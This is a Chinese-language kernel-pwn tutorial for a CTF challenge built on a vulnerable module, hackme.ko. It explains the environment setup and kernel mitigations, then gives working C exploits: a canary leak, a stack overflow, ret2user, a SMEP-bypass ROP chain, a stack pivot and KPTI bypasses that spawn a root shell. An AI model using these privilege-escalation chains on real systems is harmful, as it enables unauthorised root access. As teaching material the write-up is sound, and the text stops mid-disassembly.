kernel pwn
environment setup
通常linux kernel pwn
题目标是在一个有漏洞的内核模块上搞破坏
赛题会给这么几样东西
initramfs.cpio.gz
或者类似的名字: 内存文件系统,
通常是基于busybox
构建的一个最简的linux
文件系统目录, 其中包含有漏洞的内核模块
vmlinuz
: 内核镜像
run.sh
:
qemu
启动脚本,qemu
会基于上述vmlinuz
和initramfs
启动一个虚拟机
initramfs.cpio.gz
这玩意儿是两层打包之后的文件系统,
cpio
包外面又套了一个gz
包
1 gunzip initramfs.cpio.gz
得到initramfs.cpio
包
1 cpio -idm < ./initramfs.cpio
得到一个linux
目录结构
1 2 root@Destroyer:/usr/src/kernel-rop/test# ls bin etc geninitramfs.sh hackme.ko init initramfs.cpio root sbin usr
通常这个目录简单得很
hackme.ko
: 存在漏洞的内核模块
init
:
由shell
或者c
编写的启动脚本
bin
:
由busybox
实现的linux
命令集
etc
:
etc
下的inittab
或者init.d/rcS
中有更多的开机启动项目,
比如设置uid
或者加载内核模块等
cpio
cpio是什么?
CPIO(Copy In Copy Out)
,
在早期linux
系统中用于将多个文档打包成一个文档传输然后再解包
为什么使用cpio
?
内核只认cpio
打包的initramfs
文件包
如何使用cpio
?
cpio
命令用起来很诡异, 有各种管道或者重定向符号
这是因为cpio
默认从标准输入获取数据, 并输出到标准输出
因此将多个文件打包输出成一个文件需要将标准输入输出重定向到文件流
cpio
有三种工作模式:copy-out,copy-in,copy-pass
1.copy-out
: 把文件打包, 默认输出到标准输出,
通常重定向到文件, 比如
1 find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
首先查找当前目录下所有文件, 获得文件名列表
-print0
:文件名以\x00
分割
然后管道交给cpio归档
--null
:文件名以\x00
分割
-o
: 输出
-v
: verbose, 详细模式, 打印工作过程
--format=newc
: 以newc
格式归档
然后管道交给gzip压缩
-9
最高压缩级别
然后重定向到文件输出
2.copy-in
:解包, 默认从标准输入读包,
通常重定向到文件输入, 比如
1 cpio -idm < ./initramfs.cpio
重定向输入为./initramfs.cpio
文件
-i
: 解包
-d
: 自动建立相应目录
-m
: 保留文件修改日期
3.copy-pass
: 将一个目录树拷贝到另一个目录下,
只是一个搬运
启动项
/etc/inittab
inittab
可以看作init
进程的配置文件,规定init
进程需要执行的初始化任务
img
inittab
中每一行都按照下述语法
1 label:runlevel:action:process
label
: 就是一个命名, 给本行登记项一个唯一标识
runlevel
: 指定任务运行级
action
: 指定命令执行时机
process
: 需要执行的shell
命令
比如在kernel-rop
这道题中是这样写的
1 2 ::sysinit:/etc/init.d/rcS ::once:-sh -c 'cat /etc/motd; setuidgid 1000 /bin/sh; poweroff'
1.在系统初始化时执行/etc/init.d/rcS
2.执行一次打印/etc/motd
然后设置普通用户权限(1000),
然后起低权限的shell
/etc/init.d/rcS
这个/etc/init.d/rcS
干了啥呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/bin/sh /bin/busybox --install -s stty raw -echo chown -R 0:0 / mkdir -p /proc && mount -t proc none /procmkdir -p /dev && mount -t devtmpfs devtmpfs /devmkdir -p /tmp && mount -t tmpfs tmpfs /tmpecho 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict chmod 400 /proc/kallsyms insmod /hackme.ko chmod 666 /dev/hackme
由于inittab
中已经将用户限制为普通用户(1000
),
此时是看不到dmesg
以及kallsym
的,
因此可以修改inittab
中的用户id
,从1000
改成0,然后重新打包,启动虚拟机,此时就是root
用户了
vmlinuz
vmlinuz
就是bzImage
,也就是可以引导的内核镜像
1 2 root@Destroyer:/usr/src/kernel-rop# file vmlinuz vmlinuz: Linux kernel x86 boot executable bzImage, version 5.9 .0 -rc6+ (martin@martin) #10 SMP Sun Nov 22 16 :47 :32 CET 2020 , RO-rootFS, swap_dev 0X7 , Normal VGA
vmlinux
是内核elf
文件,
而vmlinuz
是可引导的, 经过压缩的内核
为了提取内核中的gadget
,
我们需要有vmlinux elf
文件
可以使用vmlinux-to-elf
或者extract-vmlinux
工具从vmlinuz
中提取vmlinux
1 https://github.com/marin-m/vmlinux-to-elf
1 vmlinux-to-elf ./vmlinuz ./vmlinux
提取完成后生成vmlinux elf文件
1 2 3 4 root@Destroyer:/usr/src/kernel-rop# file vmlinuz vmlinuz: Linux kernel x86 boot executable bzImage, version 5.9.0-rc6+ (martin@martin) root@Destroyer:/usr/src/kernel-rop# file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), too many program (36106)
接下来使用ROPgadget
提取vmlinux
中的gadgets
,写入文件准备使用
1 ROPgadget --binary ./vmlinux > ./gadgets
有一说一, ROPgadget是真慢吧, 用这个ropr快的跟马一样
run.sh
qemu启动虚拟机的脚本
1 2 3 4 5 6 7 8 9 10 11 qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1"
如果需要调试内核,还得加上-s
选项,启动gdb
调试功能
1 2 3 4 5 6 7 8 9 10 11 12 qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep,+smap \ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hda flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \ -s
默认会在本机1234端口上监听gdb附加调试
如果不想使用gef,pwndbg等插件,只使用裸gdb调试
1 2 gdb --nx vmlinux target remote localhost:1234
kernel mitigation features
canary
canary
: 内核堆栈金丝雀
kaslr
kaslr
: 内核地址随机化
FG-KASLR
函数kaslr
不光内核镜像整体基地址会变
代码段的一些函数也会随机变位置
smep
smep(supervisor mode execution protection)
:
内核态时不允许执行用户空间代码
CR4
第20
位置1
开启: -cpu +smep
关闭: -append nosmep
smap
smap(supervisor mode access prevention)
:
内核态时不允许访问用户空间数据
CR4第21位置1
开启: -cpu +smap
关闭: -append nosmap
kpti
kpti(kernel page table isolation)
, 内核页表隔离
开启时启用两张页表, 在内核态时的页表包含了内核空间与用户空间
在用户态时的页表是只有用户空间的拷贝
开启-append kpti=1
关闭-append nopti
File:Kernel page-table
isolation.svg
context switch
以系统调用与其返回过程为例, 观察上下文切换过程
x86
以write为例
1 2 _syscall3(int , write, int , fd, const char *, buf, off_t , count)
__syscalln
表示有n个参数的系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #define _syscall3(type, name, atype, a, btype, b, ctype, c) \ type name(atype a, btype b, ctype c) \ { \ long __res; \ __asm__ volatile ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##name), "b" ((long)(a)), "c" ((long)(b)), "d" ((long)(c))); \ if (__res >= 0) \ return (type) __res; \ errno = -__res; \ return -1; \ }
实际上调用约定:
1 2 3 4 rax = __NR_write (write的系统调用号) rbx = fd (第一个参数) rcx = buf (第二个参数) rdx = count (第三个参数)
然后执行int 0x80
指令,
所有的int n
指令,都对应到IDT(Interrupt Describetor Table)
中断描述符表 中的一个门
IDT
表共有256
个表项,也就是说int n
这里的n
能够允许的范围是0~255
其中0~31项保留给CPU定义的异常和中断, 也就是内部中断或异常
比如int 0 表示除法出错, 也就是DIV出错
比如int 3 表示断点命中
32~255保留给用户或者设备, 也就是外部中断或者异常
比如int 0x80 表示系统调用
IDT表中有三类表项, 中断门,陷阱门,任务门
int 0x80
这条指令在sched_init @ kernel/shed.c
中被注册为陷阱门
1 2 3 4 set_system_gate(0x80 ,&system_call); #define set_system_gate(n, addr) _set_gate(&idt[n], 15, 3, addr)
在该陷阱门中system_call
函数被注册为中断处理过程
system_call
在kernel/sys_call.s
中被定义为一个函数,
是所有系统调用的入口,
以eax寄存器值作为系统调用号索引对应系统调用函数
int 0x80
过程:
1.由IDTR
寄存器查到IDT
表基地址
2.以0x80
作为索引查IDT
表得到IDT[0x80]
门,
是一个陷阱门
3.IDT[0x80]
中获得(中断处理过程所在段的)段选择子,
陷阱门DPL
, (中断处理过程在其)段中的偏移量
image-20241120152851772
4.由段选择子查LDT
或者GDT
表获得中断处理过程system_call
所在段
image-20241120153036405
然后段基地址加上IDT
中保留的偏移量找到system_call
函数地址
5.在调用system_call
函数之前,
需要考虑前后段属性是否有改变
对于系统调用来说,
是从3环上经过陷阱门调用0
环上的system_call
,
段权限发生了变化
因此首先切换堆栈, 从用户堆栈切换到内核堆栈, 切换过程:
(1)
从当前用户任务的TSS段中得到0
环堆栈的段地址ss0
和栈顶指针esp0
(2) ss3:esp3
更换为ss0:esp0
(3) ss3:esp3
压到新栈中保存,
eflags, cs:eip
也依次压入新栈
(4) 异常产生的错误号压栈(如果有的话)
对于同级的中断,比如内核中执行时遭遇除零异常等,不会发生堆栈切换
(1)eflags, cs:eip
压栈
(2)异常产生的错误号压栈(如果有的话)
image-20241120155553711
6.此后就运行在内核态的system_call
函数中了
7.当system_call
要返回时,最后会有一条iret
指令,而不是普通的ret
指令
此时内核栈或者说0
环栈上的状态,
和刚进入system_call
时相同,
iret
指令会根据栈顶上的内容还原到之前的用户程序中
ret2user
的原理就是在内核堆栈中伪造一个假的用户上下文,让iret
返回到攻击者期望的用户程序中
x64
x64上的系统调用不再使用中断向量表,
也就是说不会再使用int
系指令
x64上引入了新的中断机制, 叫做APIC,
并且给系统调用实现了专门的syscall
指令,
必须将系统调用入口函数entry_SYSCALL_64
的地址,
注册到MSR
寄存器中
1 2 3 4 5 6 void syscall_init (void ) { wrmsr(MSR_STAR, 0 , (__USER32_CS << 16 ) | __KERNEL_CS); wrmsrl(MSR_LSTAR, (unsigned long )entry_SYSCALL_64); ...
此后syscall指令会查MSR寄存器,跳到entry_SYSCALL_64
中执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 SYM_CODE_START(entry_SYSCALL_64) UNWIND_HINT_EMPTY swapgs movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL) pushq $__USER_DS pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) pushq %r11 pushq $__USER_CS pushq %rcx SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL) pushq %rax PUSH_AND_CLEAR_REGS rax=$-ENOSYS movq %rax, %rdi movq %rsp, %rsi call do_syscall_64 ALTERNATIVE "" , "jmp swapgs_restore_regs_and_return_to_usermode" , \ X86_FEATURE_XENPV movq RCX(%rsp), %rcx movq RIP(%rsp), %r11 cmpq %rcx, %r11 jne swapgs_restore_regs_and_return_to_usermode #ifdef CONFIG_X86_5LEVEL ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx" , \ "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx" , X86_FEATURE_LA57 #else shl $(64 - (__VIRTUAL_MASK_SHIFT+1 )), %rcx sar $(64 - (__VIRTUAL_MASK_SHIFT+1 )), %rcx #endif cmpq %rcx, %r11 jne swapgs_restore_regs_and_return_to_usermode cmpq $__USER_CS, CS(%rsp) jne swapgs_restore_regs_and_return_to_usermode movq R11(%rsp), %r11 cmpq %r11, EFLAGS(%rsp) jne swapgs_restore_regs_and_return_to_usermode testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11 jnz swapgs_restore_regs_and_return_to_usermode cmpq $__USER_DS, SS(%rsp) jne swapgs_restore_regs_and_return_to_usermode syscall_return_via_sysret: POP_REGS pop_rdi=0 skip_r11rcx=1 movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp UNWIND_HINT_EMPTY pushq RSP-RDI(%rdi) pushq (%rdi) STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp swapgs sysretq SYM_CODE_END(entry_SYSCALL_64)
执行完毕后使用sysretq返回到用户态
在x64上有两种返回到用户态的命令
sysret
和iret
注意到x64
上syscall
一开始和最后sysret
之前,
都有一个swapgs
, 这个指令也是x64
独有的
fs,gs
这两个段寄存器是x86
上引入的两个附加段寄存器
fs
用于在用户态的glibc
中保存TLS
gs
用于在内核态保存percpu
变量与canary
fs
在内核态无用,gs
在用户态无效
swapgs
中更换的gs
来自于MSR寄存器
image-20241120204022830
总是当前使用一个,然后MSR记住另一个
privilege escalation
进程权限由task_struct
的成员struct cred *cred
控制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> ptype struct cred type = struct cred { atomic_t usage; kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned int securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; unsigned char jit_keyring; struct key *session_keyring ; struct key *process_keyring ; struct key *thread_keyring ; struct key *request_key_auth ; void *security; struct user_struct *user ; struct user_namespace *user_ns ; struct group_info *group_info ; union { int non_rcu; struct callback_head rcu ; }; }
想要提升一个普通进程的权限到root
,
可以找一个root
进程的cred
抄过来
修改进程cred
的方法:
1.要么构造rop
链调用内核函数commit_creds(&init_cred);
,抄init
进程的cred
替换当前进程的
2.要么有一个内核内存任意写的利用原语,
找到当前进程task_struct
, 然后找到cred
,
然后修改之
commit_creds(&init_cred);
这就有一个问题,怎么才能找到init
进程的cred
?
怎么才能找到struct init_task
?
Linux 6.2
之前有另一个函数prepare_kernel_cred
给我们代劳
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct cred *prepare_kernel_cred (struct task_struct *daemon) { const struct cred *old ; struct cred *new ; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL ; kdebug("prepare_kernel_cred() alloc %p" , new); if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred);
当参数为NULL
时,
该函数返回init_cred
,也就是init_task
的cred
因此可以构造堆栈rop
链:
commit_creds(prepare_kernel_cred(NULL))
1 2 3 4 NULL => rdiprepare_kernel_cred(rdi) => rax rax => rdi commit_creds(rdi)
但是Linux 6.2
及之后如果参数为NULL
则直接返回NULL
了,
叫没法空手套白狼了
1 2 3 4 5 6 7 8 9 10 11 struct cred *prepare_kernel_cred (struct task_struct *daemon) { const struct cred *old ; struct cred *new ; if (WARN_ON_ONCE(!daemon)) return NULL ; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL ;
vulnerability kernel module
题目所给的内核模块hackme.ko
模块的初始化函数中调用misc_register
函数注册了一个struct miscdevice
字符杂项设备
字符杂项设备
1 2 3 4 5 6 7 8 9 10 struct miscdevice { int minor; const char *name; const stuct file_operations *fops; struct list_head list ; struct device *parent ; struct device *this_device ; const char *nodename; mode_t mode; };
字符杂项设备的主设备号自动被设置为10
,
次设备号由minor
字段定义
misc_register
注册字符杂项设备时会自动在/dev/
下创建设备节点文件,
节点文件名由name
字段给出,
nodename
表示/dev/下
的二级目录,
如果nodename
非空则创建节点文件/dev/<nodename>/name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .data:0000000000000440 hackme_misc dd 0F Fh ; minor .data:0000000000000440 ; DATA XREF: hackme_init+6 ↑o .data:0000000000000440 ; hackme_exit+1 ↑o .data:0000000000000440 db 4 dup(0 ) ; "hackme" .data:0000000000000440 dq offset aHackme ; name .data:0000000000000440 dq offset hackme_fops ; fops .data:0000000000000440 dq 0 ; list .next .data:0000000000000440 dq 0 ; list .prev .data:0000000000000440 dq 0 ; parent .data:0000000000000440 dq 0 ; this_device .data:0000000000000440 dq 0 ; groups .data:0000000000000440 dq 0 ; nodename .data:0000000000000440 dw 0 ; mode .data:0000000000000440 db 6 dup(0 ) .data:0000000000000440 _data ends
其中fops
是一个自定义的设备行为指针表
1 2 3 4 5 .rodata:0000000000000320 hackme_fops file_operations <offset __this_module, 0 , offset hackme_read, \ .rodata:0000000000000320 ; DATA XREF: .data:hackme_misc↓o .rodata:0000000000000320 offset hackme_write, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , \ .rodata:0000000000000320 offset hackme_open, 0 , offset hackme_release, 0 , 0 , \ .rodata:0000000000000320 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 >
可以看到自定义了read,write,open,release
四种行为
在hackme_read
中发生了这么一个事:
1 kstack_buf1[0:size]@kernel stack => hackme_buf@kernel bss => user_data@user
由于size
由用户指定,因此这里可以泄露内核堆栈上的canary
,以及函数返回地址,以此可以绕过KASLR
在hackme_write
中发生了这么一个事:
1 user_data[0:size]@user => hackme_buf@kernel bss => kstack_buf2@kernel stack
由于size
由用户指定,因此这里可以往内核堆栈写入任意字节,存在堆栈溢出,可以构造ROP
链
思路:
1.在hackme_read中泄露canary与返回地址, 绕过KASLR
2.在hackme_write中堆栈溢出, 构造ROP链
exploit
ret2user
假设我们关闭smap,smep,kpti,kaslr,
只考虑绕过canary
1.利用hackme_read
泄露canary
2.利用hackme_write
绕过canary
检查,继续溢出内核堆栈,构造rop
链条
3.更换进程creds
提权, 也就是执行
1 commit_creds(prepare_kernel_cred(0 ));
在用户程序中写shellcode
实现,
然后在rop
链条中ret2shellcode
4.返回到用户态
也就是执行iret
在用户程序中写shellcode
实现
5.起shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 #include <fcntl.h> #include <stdio.h> size_t addr_commit_creds = 0xffffffff814c6410 ;size_t addr_prepare_kernel_cred = 0xffffffff814c67f0 ;int dev_fd;size_t canary;size_t user_cs;size_t user_ss;size_t user_sp;size_t user_rflags;size_t user_rip;void save_state () ;void open_dev () ;void leak_canary () ;void overflow () ;void spawn_shell () ;void privilege_escalation () ;int main () { save_state(); open_dev(); leak_canary(); overflow(); puts ("[!] should never be reached" ); return 0 ; } void open_dev () { dev_fd = open("/dev/hackme" ,O_RDWR); } void spawn_shell () { char *argv[] = {"/bin/sh" , NULL }; execve(argv[0 ], argv, NULL ); } void save_state () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); user_rip = spawn_shell; puts ("[*] Saved state" ); } void privilege_escalation () { __asm__( ".intel_syntax noprefix;" "movabs rax,addr_prepare_kernel_cred;" "xor rdi,rdi;" "call rax;" "mov rdi,rax;" "movabs rax,addr_commit_creds;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } void leak_canary () { char buffer[0x100 ]; read(dev_fd,buffer,0xA8 ); canary = *(size_t *)((char *)buffer+0x80 ); } void overflow () { size_t payload[0x100 ]; int offset = (0xa0 - 0x20 ) >> 3 ; memset (payload,0 ,offset*8 ); payload[offset++] = canary; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = (size_t )&privilege_escalation; puts ("[*] overflow " ); write(dev_fd,payload,offset*8 ); }
bypass SMEP
smep(supervisor mode execution protection)
:
内核态时不允许执行用户空间代码
smep
类似于用户态的NX的概念,
NX
不允许用户在堆栈里执行
smep
不允许内核态执行用户代码 ,
内核态只能执行内核态的代码
之前在内核堆栈中构造rop
链, 直接返回到用户代码,
会被smep
拦住
绕过方式:
1.CR4[bit20]
是SMEP开关, 在老版本内核上可以改成0绕过,
但是在新内核上CR4[bit20]被扎了钉子, 手动改成0会立刻被自动改回1
image-20241120211400284
2.全用内核rop
绕过
之前的exp失效的原因是, rop链上的返回地址,
是用户程序中的privilege_escalation
函数
1 payload[offset++] = (size_t )&privilege_escalation;
smep
要求在进入内核之后, 只能调用内核函数
那么我们需要使用纯rop链代替privilege_escalation
的功能
那么这个rop
链应该这样构造:
1 2 3 4 5 6 1.addr prepare_kernel_cred 2.gadget rax->rdi 3.addr commit_cred 4.addr swapgs; ret 5.iretq 6.RIP|CS|RFLAGS|SP|SS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void overflow () { size_t payload[0x100 ]; int offset = (0xa0 - 0x20 ) >> 3 ; memset (payload,0 ,offset*8 ); payload[offset++] = canary; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = 0 ; payload[offset++] = addr_pop_rdi_ret; payload[offset++] = 0 ; payload[offset++] = addr_prepare_kernel_cred; payload[offset++] = addr_xor_edi_edi_ret; payload[offset++] = addr_mov_rdi_rax_ja_pop_rbp_ret; payload[offset++] = 0 ; payload[offset++] = addr_commit_creds; payload[offset++] = addr_swapgs_pop_rbp_ret; payload[offset++] = 0 ; payload[offset++] = addr_iret; payload[offset++] = user_rip; payload[offset++] = user_cs; payload[offset++] = user_rflags; payload[offset++] = user_sp; payload[offset++] = user_ss; puts ("[*] overflow " ); write(dev_fd,payload,offset*8 ); }
stack pivoting
在只开启smep
, 不开启smap
的情况下,
虽然控制流无法直接执行用户空间的程序
但是可以直接访问用户空间的数据
在用户空间上申请一块内存, 然后在rop链上构造堆栈迁移,
将内核堆栈搬到用户空间中,
堆栈迁移的好处是:
1.拥有更大的空间
2.新堆栈可执行
需要注意的是,
mmap
申请的页必须对齐到0x1000
用这个gadget
, 实际上这个限制已经非常严苛了,
甚至查rsp
的gadget
查不到,
查esp
还是查到了两条,
幸运的是这两个地址也是在内核代码段里的
1 2 3 4 root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "mov rsp, 0x.*000 ;.*; ret" root@Destroyer:/usr/src/kernel-rop# cat gadgets.ropgadget | grep "mov esp, 0x.*000 ;.*; ret" 0xffffffff8196f56a : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret0xffffffff81971202 : xchg ebx, eax ; mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
在x86_64
汇编中,对esp
这种32
为寄存器的搬运操作,
默认是无符号搬运, 也就是说
mov esp, 0x5b000000
只会给esp
的低32
位置数,
高32
位置零
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void alloc_fake_stack () { fake_stack = mmap((char *)fake_stack_addr - 0x1000 ,0x2000 ,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1 , 0 ); int offset = 0x1000 /8 ; fake_stack[0 ] = 0xdeadbeef ; fake_stack[offset++] = 0 ; fake_stack[offset++] = 0 ; fake_stack[offset++] = addr_pop_rdi_ret; fake_stack[offset++] = 0 ; fake_stack[offset++] = addr_prepare_kernel_cred; fake_stack[offset++] = addr_xor_edi_edi_ret; fake_stack[offset++] = addr_mov_rdi_rax_ja_pop_rbp_ret; fake_stack[offset++] = 0 ; fake_stack[offset++] = addr_commit_creds; fake_stack[offset++] = addr_swapgs_pop_rbp_ret; fake_stack[offset++] = 0 ; fake_stack[offset++] = addr_iret; fake_stack[offset++] = user_rip; fake_stack[offset++] = user_cs; fake_stack[offset++] = user_rflags; fake_stack[offset++] = user_sp; fake_stack[offset++] = user_ss; puts ("[*] overflow " ); write(dev_fd,fake_stack,offset*8 ); }
由于0x5b000000
这空间是用户空间的, 因此在开启smap之后,
这种方法会失效
bypass KPTI
Kernel page-table isolation
, 内核页表隔离
开启kpti保护后, 用户态和内核态分别使用两张页表,
File:Kernel page-table
isolation.svg
在用户态时,页表包含了全部用户空间与内核空间的很小一部分,
主要是系统调用入口
在内核态时,页表包含了全部用户空间与全部内核空间,
但是用户空间的内存映射部分全都被标记为不可执行 (但是还是可读写的)
涉及到用户态与内核态的转换时, 首先要更换页表
如果在内核态中不更换页表,
直接iret
返回到用户空间想起shell
会被kpti
发现
signal handler方法
虽然不更换页表直接返回到用户态, 会被kpti
发现
但是此时内核并不会崩溃,而是报告一个用户态的SIGSEGV
信号
为什么是用户态的段错误信号呢?
因为此时已经iret
返回到用户态了
但是页表使用的仍然是kpti
内核态页表,
而从这个也表上只能看出当前用户空间代码段没有x权限
因此实际上类似于NX保护时尝试执行堆栈中的shellcode
,
是一个道理
因此是用户态的段错误
调试发现, 当段错误信号发生时, 已经完成了cred
的更换,
并且已经iret
返回到了用户态
在用户态刚要执行的第一条代码触发了中断,
内核给用户发送了SIGSEGV
如果此前用户已经注册了信号处理函数,
shell
作为SIGSEGV
的处理函数,
内核会通过正常的中断处理程序返回到用户态,
内核自己正常返回时会自动切换页表, 因此经过这条路返回到用户态就正常了,
并且控制流也给到了shell函数中
就可以起一个root shell
1 2 3 4 5 6 7 8 9 int main () { signal(SIGSEGV, spawn_shell); save_state(); open_dev(); leak_canary(); overflow(); puts ("[!] should never be reached" ); return 0 ; }
kpti trampoline方法
基于这样一点考虑:
内核正常的系统调用如果能走某条路成功着陆用户态,那么我们也可以借道
这个道就叫kpti trampoline
, 这道可以
更换页表, swapgs, iretq
trampoline是指内核态返回到用户态的缓冲, 因此叫做蹦床
位于内核函数swapgs_restore_regs_and_return_to_usermode
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 SYM_CODE_START_LOCAL(common_interrupt_return) SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL) #ifdef CONFIG_DEBUG_ENTRY testb $3 , CS(%rsp) jnz 1f ud2 1 :#endif POP_REGS pop_rdi=0 movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp UNWIND_HINT_EMPTY pushq 6 *8 (%rdi) pushq 5 *8 (%rdi) pushq 4 *8 (%rdi) pushq 3 *8 (%rdi) pushq 2 *8 (%rdi) pushq (%rdi) STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi SWAPGS INTERRUPT_RETURN
标号1这部分是正文
在这部分中,首先POP_REGS pop_rdi=0
这是个宏,
它会从栈上弹出一系列值交给寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 //@Linux5.14/arch/x86/entry/calling.h .macro POP_REGS pop_rdi=1 skip_r11rcx=0 popq %r15 popq %r14 popq %r13 popq %r12 popq %rbp popq %rbx .if \skip_r11rcx popq %rsi .else popq %r11 .endif popq %r10 popq %r9 popq %r8 popq %rax .if \skip_r11rcx popq %rsi .else popq %rcx .endif popq %rdx popq %rsi .if \pop_rdi popq %rdi .endif .endm
接下来rdi指向旧堆栈, 从gs段拿出rsp0交给rsp
然后把老堆栈上保存的用户上下文压到新堆栈里
然后更换页表
然后swapgs
然后iret
实际上此时iret使用的堆栈, 已经是新堆栈了,不是老堆栈
具体干了啥可以看反汇编
1 2 / # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #POP_REGS部分省略 0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp 0xffffffff81200f29 <_stext+2101033>: mov rsp,QWORD PTR gs:0x6004 0xffffffff81200f32 <_stext+2101042>: push QWORD PTR [rdi+0x30] ;用户ss 0xffffffff81200f35 <_stext+2101045>: push QWORD PTR [rdi+0x28] ;用户rsp 0xffffffff81200f38 <_stext+2101048>: push QWORD PTR [rdi+0x20] ;用户eflags 0xffffffff81200f3b <_stext+2101051>: push QWORD PTR [rdi+0x18] ;用户cs 0xffffffff81200f3e <_stext+2101054>: push QWORD PTR [rdi+0x10] ;用户rip 0xffffffff81200f41 <_stext+2101057>: push QWORD PTR [rdi] ;老栈顶 0xffffffff81200f43 <_stext+2101059>: push rax 0xffffffff81200f44 <_stext+2101060>: xchg ax,ax 0xffffffff81200f46 <_stext+2101062>: mov rdi,cr3 0xffffffff81200f49 <_stext+2101065>: jmp 0xffffffff81200f7f <_stext+2101119> 0xffffffff81200f7f <_stext+2101119>: or rdi,0x1000 #蜜汁操作 0xffffffff81200f86 <_stext+2101126>: mov cr3,rdi 0xffffffff81200f89 <_stext+2101129>: pop rax 0xffffffff81200f8a <_stext+2101130>: pop rdi 0xffffffff81200f8b <_stext+2101131>: swapgs 0xffffffff81200f8e <_stext+2101134>: nop DWORD PTR [rax] 0xffffffff81200f91 <_stext+2101137>: jmp 0xffffffff81200fc0 <_stext+2101184> 0xffffffff81200fc0 <_stext+2101184>: test BYTE PTR [rsp+0x20],0x4 0xffffffff81200fc5 <_stext+2101189>: jne 0xffffffff81200fc9 <_stext+2101193> #这个调试观察不会跳 0xffffffff81200fc7 